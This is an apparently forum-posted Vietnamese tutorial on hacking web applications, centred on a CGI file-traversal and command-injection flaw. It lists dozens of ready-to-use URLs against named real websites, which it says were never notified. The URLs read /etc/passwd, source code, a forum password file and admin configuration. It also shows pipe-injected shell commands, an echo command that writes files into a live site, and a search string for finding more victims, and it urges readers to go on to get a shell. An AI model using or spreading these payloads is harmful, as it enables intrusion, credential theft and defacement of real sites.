Web Hacking, Brief Introduction:
Trong thời đại hiện nay khi internet được phổ biến rộng rãi, các tổ chức, cá nhân đều
nhu cầu giới thiệu thông tin của mình trên xa lộ tng tin cũng như thực hinc cuộc
giao dịch buôn bán online. Vấn đề nảy sinh là khi phạm vi ứng dụng của các web
application ngày càng phổ biến thì khả năng xuất hiện lỗi bị tấn công càng cao. Trong
các lĩnh vực hacking, hack web applicationsân chơi khá lý thú cho những ai yêu thích
computer security.
Thông thường, những bước cơ bản khi thực hiện hack web bao gồm như sau - các bước
này không nhất thiết phải thực hiện tuần tự mà tùy vào điều kiện của chúng ta.
1. Thu thập thông tin ở mức trên về hạ tầng của mc tiêu
Bước này ta cần thu thập một số thông tin quan trọng như có bao nhiêu server, mô hình
của các web server, các client nào sẽ tương tác vi ứng dụng web, kiểu giao tiếp thông
tin (transport) và thông qua các cổng (port) nào, những site liên quan đến việc thực hiện
chức năng của site mục tiêu....
2. Khảo sát ứng dụng web
Ở đây tôi chỉ mô tả mt trong những phương pháp khảo sát khá ph biến từ trước đến
giờ, đó là Xem mã nguồn và lợi dụng các li cho phép xem mã nguồn.Một số ngôn ngữ
web thông dụng hiện nay có nhiều lỗi này như Active Server Pages (ASP),Common
Gateway Interface (CGI), ColdFusion Server (CFM), Hypertext Preprocessor (PHP).
Bài viết này tôi chỉ đề cập đến 1 bug đã có từ lâu nhưng thấy vẫn còn nhiều site mắc
phải, đó là lỗi liên quan đến CGI design cho phép view source và file system traversal.
Hãy xem ví d sau:
http://www.earthdayalliance.org/index.cgi?page=contact.htm
Ở đây index.cgi được gọi vi tham số truyn vào là trang contact.htm (HTML file) nó sẽ
đọc và hiện ni dung của trang này lên client browser. Tuy nhiên nếu ngưi viết cgi
không kiểm tra kĩ lưỡng, tathể lợi dụng để xem chính nội dung của file index.cgi hay
các trang khác. Ví d sau ta sẽ thay contact.htm bng index.cgi:
http://www.earthdayalliance.org/index.cgi?page=index.cgi
Ở đây ta gặp 1 thông báo lỗi "error: No such file or directory
/web/guide/earthdayalliance/www/content/index.cgi", nguyên nhân là thực tế index.cgi
không nằm trong thư mục hiện hành (tức là ../www/content/) mà nằm www, do đó ta
sẽ chỉnh lại link 1 chút bằng 1 dot dot slash, như sau:
http://www.earthdayalliance.org/index.cgi?page=/../index.cgi
Chạy link này ta sẽ thấy nội dung ca index.cgi được show trên browser. Việc xem được
source có thể giúp ta tìm hiểu kĩ càng hơn về web app, thậm chí nếu may mắn có th
xem được những thông tin quan trọng khác. Lệnh sau là 1 ví dụ dùng lỗi này để xem file
etc/passwd trong unix server:
http://www.earthdayalliance.org/index.cgi?page=/../../../../../../../../../etc/passwd
Đây chỉ là 1 ví dụ nhỏ, còn khai thác hay hạn chế thế nào thì tùy khả năng ca mỗi người.
Các bạn có thể tìm các site bị li này bằng cách dùng www.google.com, search từ ka
liên quan, chẳng hn như: "index.cgi?page="
Đây là vài link tôi tìm thấy, các bạn có thể tham khảo:
http://www.discountdata.com/index.cgi?page=index.cgi
http://home.no.net/danm2/freezeware/index.cgi?page=leecher.html
http://home.no.net/danm2/freezeware/index.cgi?page=/../../../../../../../../etc/passwd
http://itf.fys.kuleuven.ac.be/workshop2002/index.cgi?page=practical.htm
http://itf.fys.kuleuven.ac.be/workshop2002/index.cgi?page=/../../../../../../etc/passwd
http://www.resource.nl/uk/index.cgi?page=index.cgi
http://www.earthdayalliance.org/index.cgi?page=contact.htm
http://www.earthdayalliance.org/index.cgi?page=/../index.cgi
http://www.earthdayalliance.org/index.cgi?page=/../../../../../../../../../etc/passwd
http://www.nestingeagles.com/index.cgi?page=videoB.htm
http://www.nestingeagles.com/index.cgi?page=/../index.cgi
http://www.nestingeagles.com/index.cgi?page=/../../../../../../etc/passwd
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=Privacy_Policy.htm
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/../index.cgi
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/.././admin/configuration.pl
http://www.warehousejewelry.com/cgi-bin/index.cgi?page=/../../../../../../../etc/passwd
http://demo1.secmod.com/index.cgi?page=links.html
http://demo1.secmod.com/index.cgi?page=index.cgi
http://demo1.secmod.com/index.cgi?page=/../../../../../etc/passwd
http://www.vintagejournal.com/VJ0901/index.cgi?page=/../index.cgi
http://www.vintagejournal.com/VJ0901/index.cgi?page=home.htm
http://www.datadart.com/commercesql/index.cgi?page=STK%20Datasheets.html&car
http://www.datadart.com/commercesql/index.cgi?page=/../index.cgi
http://www.gatlinburggateway.com/index.cgi?&page=/../../../../../../etc/passwd
http://www.berkshire-is.com/index.cgi?page=news.html
http://www.berkshire-is.com/index.cgi?page=index.cgi
http://www.berkshire-is.com/index.cgi?page=/../../../../../etc/passwd
http://www.smokymtnarts-crafts.com/index.cgi?page=otto.htm
http://www.smokymtnarts-crafts.com/index.cgi?page=/../index.cgi
http://www.textileflags.com/cgi-bin/rock_flag_store/index.cgi?page=flagsbyname.html
http://www.textileflags.com/cgi-bin/rock_flag_store/index.cgi?page=/../index.cgi
http://www.randalloglegallery.com/index.cgi?page=about.htm
http://www.randalloglegallery.com/index.cgi?page=/../index.cgi
.....
Lưu ý các site trên chưa được thông báo về li này.
3. Tấn công các web server
4. Tấn công vưt qua các cơ chế kiểm soát (authentication, authorization)
Bao gồm các phương pháp như đoán mật khẩu, làm việc - thay đổi thông tin cookies, các
thuật directory traversal, leo thang đặc quyền, các phương pháp tấnng dựa vào SQL,
SQL injection...
5. Tìm hiểu sâu về các chức năng ca ứng dụng web
Tìm hiểu cách thực hiện của các phần trong ứng dụng, đặc biệt như các order input,
confirmation, order tracking. Ở đây ta có thể áp dụng các phương pháp như SQL
Injection, input validation...
6. Tìm hiểu luồng di chuyển của thông tin
Các thông tin tương tác giữa client và server, các thông tin tương tác với database. Hiện
nay việc viết mã để thực hiện việc giao tiếp thông tin thường phải đảm bảo được tính
hiệu quả (nhanh),và bảo mật (thể sẽ chậm hơn). Thường thì tính hiệu quả được ưu
tiên hơn do đó có thể sẽ phát sinh li trong quá trình đó và giúp hacker có thể li dụng
các lỗi như SQL input...để đoạt quyền điều khiển hệ thng.
7. Tấn công trang ca ngưi quản lý hthống
8. Tấn công client
9. Thực hiện tấn công từ chối dịch v Denial-of-Service (DoS)
Đây là cách cuối cùng khi các phương pháp trên không thực hiện thành công.
Phần này cần các bạn có kiến thức chút đỉnh về Unix.
Bước tiếp theo là khai thác khả năng command execution từ client browser thông qua
HTTP port.
Ở đây các bạn chú ý các tự đặc biệt hữu ích khi ta cần thực hiện lệnh trong URL, đó là:
newline character (%0a), pipe (%7c), semicolon (%3b), ampersand (%26). Newline char
cho phép ta ngt các lệnh ra thành nhiềung khi thực hiện, dùng khi ta kết nhiều lệnh
cùng trên cùng 1 dòng; pipe dùng để kết nối nhiều lệnh unix với nhau, tương tự với
semicolon; ampersand thường dùng để ngăn cách các tham số truyền vào câu lệnh...Các
bạn tự tìm hiểu kĩ hơn các thông tin này.
Tiếp theo vd ở post đầu, đó là:
http://www.earthdayalliance.org/index.cgi?page=contact.htm
Bây giờ ta th gọi 1 lệnh liệt kê thông tin thư mục của unix (ls):
http://www.earthdayalliance.org/index.cgi?page=|ls|
Ta sẽ thấy browser liệt kê ra các file, thư mục có trong thư mc hiệnnh ca trang web,
đại khái như sau:
[badurl.htm contact.txt content count_file edcpressrelease.htm greentemplate.htm
guestbook images index.cgi newtemplate.htm registercircle.txt search.html template.htm
templates welcome.htm wwwboard ]
Nếu mun biết rõ hơn về thông tin của file, như quyền hạn, ngày tháng...ta dùng lệnh ls -
la, c thể URL sẽ là:
http://www.earthdayalliance.org/index.cgi?page=|ls+-la|
Một vd ca việc khai thác tiếp theo: ta thấy thư mục wwwboard, đây là 1 dạng webforum
đơn giản, ta xem thnội dung thư mục này:
http://www.earthdayalliance.org/index.cgi?page=|ls%20wwwboard|
Ở đây ta sẽ thấy liệt kê ra content ca forum này, trong đó có 1 file passwd.txt, ta muốn
xem nội dung file này, chviệc thực hiện:
http://www.earthdayalliance.org/index.cgi?page=/../wwwboard/passwd.txt
Lưu ý ta thêm /../ phía trước vì muốn lùi 1 cấp tr về thư mục cha.
Thế là bạn vừa xem được pass admin của forum dạng này.
Đây là 1 thông tinm hiểu khác:
http://www.earthdayalliance.org/index.cgi?page=|ls%20/../../../../../etc+-la|
Liệt các user trong server này:
http://www.earthdayalliance.org/index.cgi?page=|ls+/../../.././web/guide+-al|
.....
Bước khai thác kế tiếp dành cho các bạn: Thực hiện nhiều câu lệnh, get shell... Chúc
thành công.
Các công c có tháp dụng trong web hacking các bạn có thể tìm hiểu ở trang:
http://www.hackingexposed.com/tools/tools.html
Một tài liệu nhỏ về web hacking khác (đây là tài liệu English, đọc bằng chương trình
Microsoft
powerpoint trong bộ Microsoft Office): webhacking.zip
Tôi sẽ giới thiệu các bạn 1 thủ thuật nho nhỏ để tạo 1 file dạng text khi ta có thể run
được command trên remote server. Cách này có thể áp dụng với cả nt và unix. Với NT,
tôi đã từng thực hiện thành công khi hack các server hosting controller trưc đây, khi đó
tôi dùng cách này để tạo 1 file script ftp, sau đó gọi lệnh ftp để chạy script này.
Ở đây tôi sẽ nêu ví dụ tạo 1 link cho site bị li CGI File System Traversal tôi đã post.
Các bạn theo dõi link sau:
http://www.nestingeagles.com/index.cgi?page=/../../../../../../etc/passwd ,
ta sẽ thấy nó liệt kê ra nội dung của file passwd (đã shadowed). Vì site này tên là
nestingeagles.com nên tôi sẽ search "nestingeagles" trong list vừa liệt kê trong passwd, ta
sẽ thấy:
....
marlonsand:*:354:102:,,,,:/mnt/web/guide/turboprofits:/bin/false
bibscalp:*:356:102:,,,,:/mnt/web/guide/bibscalpproducts:/bin/suspended
nestingeagle:*:357:102:,,,,:/mnt/web/guide/nestingeagles:/bin/bash
twostr:*:359:102:,,,,:/mnt/web/guide/twostreetmusic:/bin/suspended
srinc:*:361:102:,,,,:/mnt/web/guide/summationresearch:/bin/false
....
Ta chú ý đến đường dẫn ca website này: : /mnt/web/guide/nestingeagles, từ đây ta s
dùng lệnh ls để xem nó, như sau:
http://www.nestingeagles.com/index.cgi?page=|ls%20/../../../../mnt/web/guide/nestinge
agles| ,
nó sẽ liệt kê các thông tin về thư mc và file của site này, tìm hiểu thêm ta sẽ biết đưc
main
index của site nằm trong /wwwfp/, ta lại lit kê:
http://www.nestingeagles.com/index.cgi?page=|ls%20/../../../../mnt/web/guide/nestinge
agles/wwwfp| . Ok, bây gi ta có thể thực hiên các lệnh tạo, xóa...main index của website
trong t mục này. Ta sẽ thử tìm cách tạo link a.htm.
Lệnh tôi gii thiệu ở đây echo. Lệnh echo sẽ hiện 1 message ra standard output hoặc
ra file.
Commandng trong trường hp này như sau: echo [message] >> [filename], nếu
muốn thêm vào file có sẵn, bạn chỉ việc gọi tiếp lệnh echo với file đã có, nhưng vi
message (nội dung) khác.
http://www.nestingeagles.com/index.cgi?page=|echo%20This+is+a|test%20>>%20/../..
/../../
mnt/web/guide/nestingeagles/wwwfp/a.htm|
Nếu thành công, bạn sẽ thấy link sau: http://www.nestingeagles.com/a.htm
Bây giờ các bạn thấy lệnh echo hữu dụng thế nào ri chứ, ta có thể to link
chẳng cần tool gì remote cả ngoại trừ browser.
Lưu ý các bạn khi test nên tránh dùng các lệnh xoá dữ liệu hoặc tạo file
đè mất các file ngưi ta có sẵn, cũng đng nên quá lạm dụng lệnh đ
tạo nhiều link sẽ sớm bị phát hiện.